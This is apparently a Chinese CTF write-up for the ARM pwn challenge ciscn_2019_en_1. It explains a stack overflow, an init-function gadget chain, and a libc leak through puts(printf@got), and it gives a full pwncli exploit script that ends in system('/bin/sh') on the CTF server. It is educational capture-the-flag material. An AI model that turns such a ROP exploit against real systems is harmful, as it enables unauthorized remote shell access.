ciscn_2019_en_1

总结

利用了一个组合拳gadget

1
2
3
4
5
6
7
.text:00010620                 MOV     R2, R9
.text:00010624                 MOV     R1, R8
.text:00010628                 MOV     R0, R7
.text:0001062C                 BLX     R3
.text:00010630                 CMP     R4, R6
.text:00010634                 BNE     loc_10618
.text:00010638                 POP     {R4-R10,PC}

这一段gadgetinit函数,其实和ret2csu有点像,可以通过r7 r8 r9控制r0 r1 r2,还能控制pc

checksec

image-20220305234026611

漏洞点

拍在脸上的栈溢出:

image-20220305234055022

利用思路

结合最上面总结的那两个gadgets,利用过程为:

  • 控制r7 r8 r9而间接控制r0 r1 r2,而使用0x000103a4 : pop {r3, pc}控制r3
  • 调用puts(printf@got)泄露出libc地址
  • 再一次执行main函数,rop执行system("/bin/sh")即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
import shlex

context.binary = "./1"
libc = ELF("libc-2.23.so")
io = remote("node4.buuoj.cn", 25228)

io.sendafter("your name:\n\n", flat({
    36:[
        0x000103a4,
        0x103e0,
        0x00010638,
        0,0,0,0x21010,0,0,0,0x00010628,
        0, 0, 0, 0, 0, 0, 0, 0x10590]
}))

io.recvline_startswith("hello")

m = io.recvline()
log_ex(f"Get msg: {m}")

libc_base = u32_ex(m[:4]) - 0x00047b30
log_libc_base_addr(libc_base)
libc.address = libc_base


io.sendafter("your name:\n\n", flat({
    36:[
        libc_base + 0x0010dc84,
        libc.search(b"/bin/sh").__next__(),
        libc.sym.system]
}))

# 0x0011e54c : pop {r0, pc}
io.interactive()

远程打:

image-20220305234540705

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%